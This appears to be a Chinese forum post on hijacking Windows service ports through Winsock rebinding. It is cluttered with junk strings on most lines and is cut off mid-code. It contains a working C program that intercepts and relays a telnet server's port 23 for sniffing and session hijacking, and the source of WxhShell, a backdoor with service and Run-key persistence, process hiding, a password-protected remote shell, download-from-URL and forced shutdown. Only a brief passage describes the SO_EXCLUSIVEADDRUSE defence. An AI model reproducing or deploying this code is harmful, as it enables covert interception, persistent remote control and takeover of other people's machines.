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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 2st3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); tX~w{|k  
(**oRwr%  
  saddr.sin_family = AF_INET; B`sAk %  
sa8Vvzvo.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]/{)bpu  
ksm~<;td  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); f%8C!W]Dm  
{K!)Ss  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 !H\F2Vxs  
IAyp2  
  这意味着什么?意味着可以进行如下的攻击: 5~S5F3  
_tycgq#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -F3-{E  
dQG=G%W  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) EhBKj |y  
"uf%iJ:%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u]G\H!Wk Q  
A?0Nm{O;3v  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  '0,^6'VWOV  
CNx8] _2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Kf-JcBsrT  
iJ|uvPCE  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 A<fG}q1#  
DIUjn;>k8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 VG~Vs@c(  
]K%!@O!  
  #include /<BI46B\  
  #include nT)vNWT=  
  #include aQI(Y^&%3  
  #include    |+"(L#wk  
  DWORD WINAPI ClientThread(LPVOID lpParam);   D3K8F@d  
  int main() #Rr%:\*  
  { >KKMcTOYY  
  WORD wVersionRequested; FE;x8(;W8  
  DWORD ret; 8a"%0d#  
  WSADATA wsaData; Vf1^4 t  
  BOOL val; ,v}k{( 16{  
  SOCKADDR_IN saddr; ?Ss!e$jf  
  SOCKADDR_IN scaddr; K~ EmD9  
  int err; pmYHUj #  
  SOCKET s; 6-ils3&  
  SOCKET sc; f|oh.z_R  
  int caddsize; '/%H3A#L  
  HANDLE mt; J4U1t2@)9  
  DWORD tid;   wwcBsJ1{  
  wVersionRequested = MAKEWORD( 2, 2 ); l}M!8:UzU  
  err = WSAStartup( wVersionRequested, &wsaData ); ygl0k \  
  if ( err != 0 ) { kg\ >k2h  
  printf("error!WSAStartup failed!\n"); E&:,oG2M  
  return -1; @`Su0W+.  
  } {BU;$  
  saddr.sin_family = AF_INET; Y`wSv NU  
   X#;bh78&-  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 vY`s'%WV  
eb$#A _m  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h2J x]FJ  
  saddr.sin_port = htons(23); ZqO^f*F>h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '@P^0+B!(.  
  { K!l5coM  
  printf("error!socket failed!\n"); .(2ik5A%9  
  return -1; ,~W|]/b<q  
  } uWE^hz"  
  val = TRUE; mpJ#:}n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u\nh[1)a)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) hP&B t  
  { @7n"yp*"  
  printf("error!setsockopt failed!\n"); X!g#T9kG  
  return -1; |$_sX9\`?|  
  } D. XvG_  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; QP J4~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VVOd]2{  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 l1Fc>:o{  
jrh43 \$*  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Thit  
  { v|2T%y_ u  
  ret=GetLastError(); *-p}z@8  
  printf("error!bind failed!\n"); 65^9  
  return -1; 45>?o  
  } lnR{jtWP  
  listen(s,2); 6)Lk-D  
  while(1) b;UJ 88  
  { AYx{U?0p  
  caddsize = sizeof(scaddr); VP]%Hni]  
  //接受连接请求 icK/],  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); E< fVZ,  
  if(sc!=INVALID_SOCKET) | Xy6PN8  
  { 83q6Sv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Ph> %7M%  
  if(mt==NULL) XpJ7o=?W3  
  { IO-Ow!  
  printf("Thread Creat Failed!\n"); G'A R`"F  
  break; BThrO d  
  } 'b{]:Y  
  } K(Bf2Mfq  
  CloseHandle(mt); uW36;3[f#1  
  }  kPLxEwl  
  closesocket(s); [IhYh<i  
  WSACleanup(); @I!0-OjL  
  return 0; em N*l]N  
  }   RrQJ/ts7}  
  DWORD WINAPI ClientThread(LPVOID lpParam) [HZv8HU|  
  { &KRX[2  
  SOCKET ss = (SOCKET)lpParam; p= } Nn(  
  SOCKET sc; (JFWna0@  
  unsigned char buf[4096]; *bA.zmzM  
  SOCKADDR_IN saddr; SI-Ops~e  
  long num; OpYY{f  
  DWORD val; ^$hH1H+V  
  DWORD ret; 7O-x<P;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^3L0w}#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   V[Ui/M!9Z  
  saddr.sin_family = AF_INET; HCC#j9UN6  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); v #j$;  
  saddr.sin_port = htons(23); ?2Py_gkf  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u5f9Jw}  
  { Y glmX"fLf  
  printf("error!socket failed!\n"); vnZC,J `  
  return -1; 9m~p0ILh  
  } 338k?nHxv  
  val = 100; {[?(9u7R  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) '@k+4y9q?  
  { Cd}<a?m,  
  ret = GetLastError(); mSh[}%swj  
  return -1; 5uj?#)N  
  } A*547=M/(j  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t=W}SH  
  { V{3x!+q  
  ret = GetLastError(); +*/Zu`kzX  
  return -1; U>}w2bZ*  
  } fSvM(3Y<Qh  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @YTaSz$L  
  { K} X&AJ5A  
  printf("error!socket connect failed!\n"); Wf>R&o6tr  
  closesocket(sc); VY=jc~c]v  
  closesocket(ss); 5f K_Aq{  
  return -1; z/2//mM  
  } |~mOfuQb  
  while(1) 1JG'%8}#8  
  { Pw`8Wj  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F8,RXlGfA[  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 =ncVnW{  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j@3Q;F0ba  
  num = recv(ss,buf,4096,0); bI9~jWgGp  
  if(num>0) XnMvKPerv'  
  send(sc,buf,num,0); .2Elr(&*h  
  else if(num==0) >rmqBDKaQ  
  break; x,pjpx  
  num = recv(sc,buf,4096,0); fW1CFRHH  
  if(num>0) J$w<$5UY  
  send(ss,buf,num,0); 8COGsWK  
  else if(num==0) CXx*_@}MU  
  break; yfjWbW  
  } &>W$6>@  
  closesocket(ss); ;) z:fToh  
  closesocket(sc); +`3)oPV)  
  return 0 ; Zbt.t] N  
  } g63(E,;;J  
vm7z,FfN  
rCbDu&k]  
========================================================== hPkWCoQpq  
b;W3j   
下边附上一个代码,,WXhSHELL Ru!iR#s)!  
aU "8{  
==========================================================  JWhdMU  
dI@(<R  
#include "stdafx.h" g._]8{K  
kY|utoAP  
#include <stdio.h> Ls$D$/:q?  
#include <string.h> }1c|gQ  
#include <windows.h> /h H  
#include <winsock2.h> oAJM]%g{  
#include <winsvc.h> )@l%  
#include <urlmon.h> b"uu  
HI R~"It$  
#pragma comment (lib, "Ws2_32.lib") 2Aazy'/  
#pragma comment (lib, "urlmon.lib") c"n\cNP<  
d *|Y o  
#define MAX_USER   100 // 最大客户端连接数 2~1SQ.Q<RY  
#define BUF_SOCK   200 // sock buffer qn<|-hA*  
#define KEY_BUFF   255 // 输入 buffer t?x<g<PJ4  
F|o:W75  
#define REBOOT     0   // 重启 3G)#5 Lf<  
#define SHUTDOWN   1   // 关机 L_uVL#To  
U9:zVy  
#define DEF_PORT   5000 // 监听端口 Jr ,;>   
D9 CaFu  
#define REG_LEN     16   // 注册表键长度 7$vYo _  
#define SVC_LEN     80   // NT服务名长度 Ustv{:7v  
J!v3i*j\  
// 从dll定义API jk; clwyz/  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [#<-ZC#T*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); nJG U-Z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h5{'Q$Erl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <CYd+! (  
g:'xae/]S  
// wxhshell配置信息 nA-.mWD_C  
struct WSCFG { SO|NaqWa  
  int ws_port;         // 监听端口 w(*vj  
  char ws_passstr[REG_LEN]; // 口令 l6T-}h:=  
  int ws_autoins;       // 安装标记, 1=yes 0=no dUeN*Nq&(,  
  char ws_regname[REG_LEN]; // 注册表键名 53;}Nt#R  
  char ws_svcname[REG_LEN]; // 服务名 q1$N>;&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Cx(>RXVoJ,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 | C;=-|  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ld|5TN1  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1b `1{%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" IXMop7~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6@h/*WElG  
Gv!2f  
}; DbBcQ%  
_UMg[Um  
// default Wxhshell configuration )0.kv2o.  
struct WSCFG wscfg={DEF_PORT, KVoS C @w  
    "xuhuanlingzhe",  acajHs  
    1, 4x=v?g&  
    "Wxhshell", 0rQMLx  
    "Wxhshell", >a!/QMh  
            "WxhShell Service", fy>{QC\  
    "Wrsky Windows CmdShell Service", Go`vfm"S  
    "Please Input Your Password: ", *.ll<p+(-  
  1, ,8S/t+H  
  "http://www.wrsky.com/wxhshell.exe", 9Z@hPX3.  
  "Wxhshell.exe" (Z+.45{-  
    }; gD-d29pQ  
2.`\  
// 消息定义模块 (R[[Z,>w.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WrnrFz  
char *msg_ws_prompt="\n\r? for help\n\r#>"; p,EQ#Ik  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CmP9Q2  
char *msg_ws_ext="\n\rExit."; I13y6= d  
char *msg_ws_end="\n\rQuit."; 0JWDtmK=C  
char *msg_ws_boot="\n\rReboot..."; -V*R\,>  
char *msg_ws_poff="\n\rShutdown..."; afCW(zH p  
char *msg_ws_down="\n\rSave to "; a{L%7  
~dyTVJ$  
char *msg_ws_err="\n\rErr!"; b <tNk]7  
char *msg_ws_ok="\n\rOK!"; h/QXPdV  
Q4#.X=.d  
char ExeFile[MAX_PATH]; Z\(q@3C  
int nUser = 0; +r�  
HANDLE handles[MAX_USER]; $f$SNx)),  
int OsIsNt; lB8-Z ow  
bt@< ut\  
SERVICE_STATUS       serviceStatus; pE3?"YO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \ ,'m</o~,  
u%GEqruo[  
// 函数声明 PF0_8,@U  
int Install(void); #z'  
int Uninstall(void); `_6C {<O  
int DownloadFile(char *sURL, SOCKET wsh); ^7`BP%6  
int Boot(int flag); xBj 9y u  
void HideProc(void); (fhb0i-  
int GetOsVer(void); "syI#U{  
int Wxhshell(SOCKET wsl); O"+ gQXe  
void TalkWithClient(void *cs); "6("9"  
int CmdShell(SOCKET sock); h! ,v/7=  
int StartFromService(void); a)!o @  
int StartWxhshell(LPSTR lpCmdLine); `C,n0'PL.  
 > ^O7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !@5 9)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); qRu~$K  
I<DL=V  
// 数据结构和表定义 Do9x XK  
SERVICE_TABLE_ENTRY DispatchTable[] = \wmN  
{ V~qNyOtA]  
{wscfg.ws_svcname, NTServiceMain}, E[OJ+ ;c  
{NULL, NULL} S0$8@"~=  
}; hy9\57_#  
xKbXt;l2  
// 自我安装 g/4[N{Xf  
int Install(void) m 1b?J3   
{ v6|RJt?  
  char svExeFile[MAX_PATH]; k``_EiV4t  
  HKEY key; )Dm s  
  strcpy(svExeFile,ExeFile); XMZ,Y7  
/>C^WQI^  
// 如果是win9x系统,修改注册表设为自启动 zE*li`@  
if(!OsIsNt) { "2!&5s,1p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WpDSg*fk=Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b\f O8{k  
  RegCloseKey(key); xl{=Y< ;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { , };& tR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G+9,,`2  
  RegCloseKey(key); 0J*??g-n  
  return 0; 'JtBZFq  
    } 50h! X9  
  } 5{TsiZh4  
} +SzU  
else { cbjs9bu  
5"VTK  
// 如果是NT以上系统,安装为系统服务 2 B1q*`6R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); yNBQGSH  
if (schSCManager!=0) alJ)^OSIe  
{ h#I>M`|  
  SC_HANDLE schService = CreateService Xxj- 6i  
  ( [> 3./YH`  
  schSCManager, ]2A^1Del  
  wscfg.ws_svcname, d2FswF$C  
  wscfg.ws_svcdisp, UsG~row:!  
  SERVICE_ALL_ACCESS, U)TUOwF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Vsr.=Nd=  
  SERVICE_AUTO_START, q_lKKzA  
  SERVICE_ERROR_NORMAL, >IafUy  
  svExeFile, *][`@@->  
  NULL, y8y5*e~A-)  
  NULL, zC:ASt  
  NULL, OG~gFZr)6  
  NULL, W.jGGt\<\  
  NULL },?kk1vIT{  
  ); &;6`)M{*}  
  if (schService!=0) ,oe <  
  { x^qVw5{n  
  CloseServiceHandle(schService); of~4Q{f$6  
  CloseServiceHandle(schSCManager); CZe ]kXNv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1#g2A0U,  
  strcat(svExeFile,wscfg.ws_svcname); *-WpZGh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l9~e". ~'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .<?GS{6 N  
  RegCloseKey(key); *"2+B&Y  
  return 0; @ y.?:7I  
    } OKZV{Gja  
  } @s>Czm5  
  CloseServiceHandle(schSCManager); # +>oZWVc  
} iXkF1r]i  
} 2szPAuN+  
ITQA0PI SL  
return 1; G't$Qx,IC  
} %`r$g[<G  
}Bh8=F3O Q  
// 自我卸载 w/<L Ag  
int Uninstall(void) S}3fr^{.  
{ P:S.~Jq  
  HKEY key; v"$L702d$\  
!TH) +zi  
if(!OsIsNt) { I|!OY`ko  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yzn%<H~  
  RegDeleteValue(key,wscfg.ws_regname); Ny7S  
  RegCloseKey(key); ,t744k')  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7WqH&vU|  
  RegDeleteValue(key,wscfg.ws_regname); ]mq|w  
  RegCloseKey(key); M?49TOQA  
  return 0; MY)O^I X$  
  } z9Mfd#5?>P  
} qwcD`HV,  
} @{e}4s?7od  
else { FUzzB94a  
C =xa5Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,Vax&n+J  
if (schSCManager!=0) t+ TdLDJR  
{ R^fPIv`q  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); rXq.DvQ  
  if (schService!=0)  A@('pA85  
  { ~P qM]^  
  if(DeleteService(schService)!=0) { Q\vpqE! 9  
  CloseServiceHandle(schService); 1H`,WQ1mG  
  CloseServiceHandle(schSCManager); Kw^7>\  
  return 0; 3M`M  
  } ^ +\dz  
  CloseServiceHandle(schService); H41?/U,{  
  } $wa{~'  
  CloseServiceHandle(schSCManager); YP<ms  
} (mB&m@-N  
}  /maJtX'  
RP|`HkP-2  
return 1; R\f+SvE  
} q<<v,ihh  
7A7?GDW  
// 从指定url下载文件 G_JA-@i%  
int DownloadFile(char *sURL, SOCKET wsh) q i;1L Kc  
{ >:!5*E5?  
  HRESULT hr; (9 d&  
char seps[]= "/"; NxY#NaE:?4  
char *token; 0mVNQxHI  
char *file; gJ{)-\  
char myURL[MAX_PATH]; @HCVmg:  
char myFILE[MAX_PATH]; gH vZVC[b  
i]4I [!  
strcpy(myURL,sURL); j (d~aqW  
  token=strtok(myURL,seps); Zi i   
  while(token!=NULL) }.(B}/$u  
  { 3"e,q Y  
    file=token; BO&bmfp7,  
  token=strtok(NULL,seps); =WATyY:s  
  } q;CiV  
&z3o7rif$  
GetCurrentDirectory(MAX_PATH,myFILE); {P./==^0  
strcat(myFILE, "\\"); Llo"MO*sr  
strcat(myFILE, file); BWrxunHO  
  send(wsh,myFILE,strlen(myFILE),0); 0OE:[pR  
send(wsh,"...",3,0); 59A}}.@?m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %> eiAB_b  
  if(hr==S_OK) 4$<JHo @.  
return 0; f}e`XA?  
else SnfYT)Ph  
return 1; 7$=In K  
2ilQXy  
} CTa57R  
4HlQ&2O%#  
// 系统电源模块 S\=Nn7"  
int Boot(int flag) da(<K}  
{ bd-L` ={j  
  HANDLE hToken; +0Y&`{#Z  
  TOKEN_PRIVILEGES tkp; ~?BXti<!  
bG#>uE J-  
  if(OsIsNt) { lo+A%\1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); R m( "=(  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /8S>;5hvK@  
    tkp.PrivilegeCount = 1; ,J@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; o+'6`g'8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1+s;FJ2}  
if(flag==REBOOT) { k,*XG$2h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O0.*Pmt  
  return 0; ;Y, y4{H3  
} W<g1<z\f  
else { 2+XA X:YD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WyiQoN'q  
  return 0; 2^7`mES  
} y9ZvV0  
  } GbI/4<)l}  
  else { Bzf^ivT3L  
if(flag==REBOOT) { 6gDN`e,@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XCQs2CHt  
  return 0; \FaP|28h  
} 1% `Rs  
else { wCBplaojJ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !N^@4*  
  return 0; : A;RH  
} P%n>Tg80M  
} "AqB$^S9t  
sI2^Qp@O1  
return 1; ;_=&-mz  
} n@3>6_^rwT  
t uX|\X  
// win9x进程隐藏模块 h";L  
void HideProc(void) UiNP3TJ'L  
{  bN.Pex  
x+]"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8@R|Km5h  
  if ( hKernel != NULL ) zH r_!~  
  { U<XG{<2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *4 n)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r JB}qYD  
    FreeLibrary(hKernel); 1Y,Z %d  
  } e3\T)x &=  
pj(,Zd[47  
return; {;oPLr+Z  
} Hn:Crl y#  
q3`u1S7Z7  
// 获取操作系统版本 U0+-W07>  
int GetOsVer(void) +7}]E1Uf  
{ :T~  [  
  OSVERSIONINFO winfo; !r-F>!~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xSu >  
  GetVersionEx(&winfo); 6LhTBV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )/P}?` I  
  return 1; Ys7]B9/1O  
  else FI.\%x  
  return 0; GvAb`c=  
} ^zr`;cJ+c  
Y:`&=wjP~  
// 客户端句柄模块 qP ,EBE  
int Wxhshell(SOCKET wsl) gG uO  
{ d-%hjy3N  
  SOCKET wsh; #&4=VGx{ #  
  struct sockaddr_in client; 1;iUWU1@  
  DWORD myID; (k P9hcV  
Ort(AfW  
  while(nUser<MAX_USER) 4ppz,L,4  
{ E{@[k%,_  
  int nSize=sizeof(client); {..6>fS  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); C# pjmT_  
  if(wsh==INVALID_SOCKET) return 1; gDzK{6Z}  
A}^mdw9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }0 ?3:A  
if(handles[nUser]==0) O0:q;<>z  
  closesocket(wsh); dWW.Y*339  
else ]@TCk8d$0  
  nUser++; kf9X$d6   
  } BLFdHB.$T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); DfB7*+x{  
9JwPSAo;  
  return 0; 1H9!5=Ff  
} j1Ezf=N6`  
#z42C?V  
// 关闭 socket sRfcF`7  
void CloseIt(SOCKET wsh) WzWX E(  
{ 0`H# '/  
closesocket(wsh); 0{mex4  
nUser--; Ca-j?bb!  
ExitThread(0); |uDdHX8T  
} V )4J`xg^  
Va8&Z  
// 客户端请求句柄 d5d@k  
void TalkWithClient(void *cs) =V5%+/r+f  
{ 8Y?;x}  
n!(F, b  
  SOCKET wsh=(SOCKET)cs; t<qiGDJ<d  
  char pwd[SVC_LEN]; Ca\6vR  
  char cmd[KEY_BUFF]; w =KPT''!  
char chr[1]; $xQL]FmS  
int i,j; Ts9uL5i  
@ P|y{e6  
  while (nUser < MAX_USER) { 2pAW9R#UV-  
T0 {Lq:  
if(wscfg.ws_passstr) { 0$njMnB2l  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G&dKY h\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Mp]rUPK  
  //ZeroMemory(pwd,KEY_BUFF); ~s{$WL&  
      i=0; =lC7gS!U  
  while(i<SVC_LEN) { Dzbz)Zst  
E.f%H(b  
  // 设置超时 Wjc'*QCPl  
  fd_set FdRead; -YE^zzh  
  struct timeval TimeOut; s@C}P  
  FD_ZERO(&FdRead); H>C=zo,oiC  
  FD_SET(wsh,&FdRead); c9Yrw^  
  TimeOut.tv_sec=8; `x|?&Ytmf9  
  TimeOut.tv_usec=0; P*o9a  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); / j^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 16 $B>  
q:(%*sY>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [gB+C84%%  
  pwd=chr[0]; u&NV,6Fj2[  
  if(chr[0]==0xd || chr[0]==0xa) { b]y2+A.n  
  pwd=0; CWlw0 X  
  break; M_8{]uo  
  } .u:GjL'$  
  i++; 7 3m1  
    } "}!G!k:  
5m*,8]!-  
  // 如果是非法用户,关闭 socket #F#%`Rv1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]tD]Wx%  
} B3BN`mdn>  
7Wno':w8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); TNth   
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0mnw{fE8_  
_L PHPj^Pg  
while(1) { 8RX&k  
]3gSQ7  
  ZeroMemory(cmd,KEY_BUFF); 7"mc+QOp  
:0ep( <|;  
      // 自动支持客户端 telnet标准   : 'c&,oLY  
  j=0; T |p"0b A  
  while(j<KEY_BUFF) { Ngwb Q7)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #?E"x/$Y6  
  cmd[j]=chr[0]; u"8yK5!  
  if(chr[0]==0xa || chr[0]==0xd) { O}P`P'Y|'  
  cmd[j]=0; KP"+e:a%  
  break; g :OI  
  } 7"##]m.  
  j++; yuVs YV@"  
    } %RVZD#zr  
]yu:i-SfP  
  // 下载文件 S 5U;#H  
  if(strstr(cmd,"http://")) { F:VIzyMq<  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); J05e#-)<K  
  if(DownloadFile(cmd,wsh)) N;d] 14|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -} +[  
  else lk!@?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); XG?8s &  
  } T+$[eWk"a  
  else { L-Lvp%%  
q| 7(  
    switch(cmd[0]) { K'xV;r7Nt  
  O< I-  
  // 帮助 No$3"4wk  
  case '?': { jylD6IT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); KXrjqqXs  
    break; Y@v>FlqI{  
  } 6LZCgdS{  
  // 安装 "&] -2(  
  case 'i': { Fu~j8K  
    if(Install()) hb-%_c"kq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ta0|^KAA  
    else zqku e%^?-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ )F<V!  
    break; [7-?7mp!B  
    } yu|>t4#GT  
  // 卸载 JC"z&ka  
  case 'r': { _g8yDfcLG  
    if(Uninstall()) 46x'I(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GY*p?k<i  
    else "4Nt\WQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xk5 ]^yDp  
    break; 5G#n"}T  
    } @WhHUd4s  
  // 显示 wxhshell 所在路径 :0/ 7,i  
  case 'p': { s.rm7r@ #  
    char svExeFile[MAX_PATH]; Ef\ -VKh  
    strcpy(svExeFile,"\n\r"); Wqnc{oq |$  
      strcat(svExeFile,ExeFile); VTM/hJmwJ  
        send(wsh,svExeFile,strlen(svExeFile),0); n<,BmVQ  
    break; Qrv<lE1V;  
    } y-k.U%  
  // 重启 |)&%A%m  
  case 'b': { W^Yxny  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F [M,]?   
    if(Boot(REBOOT)) %>yL1BeA4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h8P)%p  
    else { 1\Xw3prH  
    closesocket(wsh); /z!%d%"  
    ExitThread(0); ^~dWU>  
    } ZNoDFf*h  
    break; \m,PA'nd/  
    } bOB \--:]  
  // 关机 :h$$J lP  
  case 'd': { |>Vb9:q9Po  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _-D{-Bu#  
    if(Boot(SHUTDOWN)) sx%[=g+<2(  
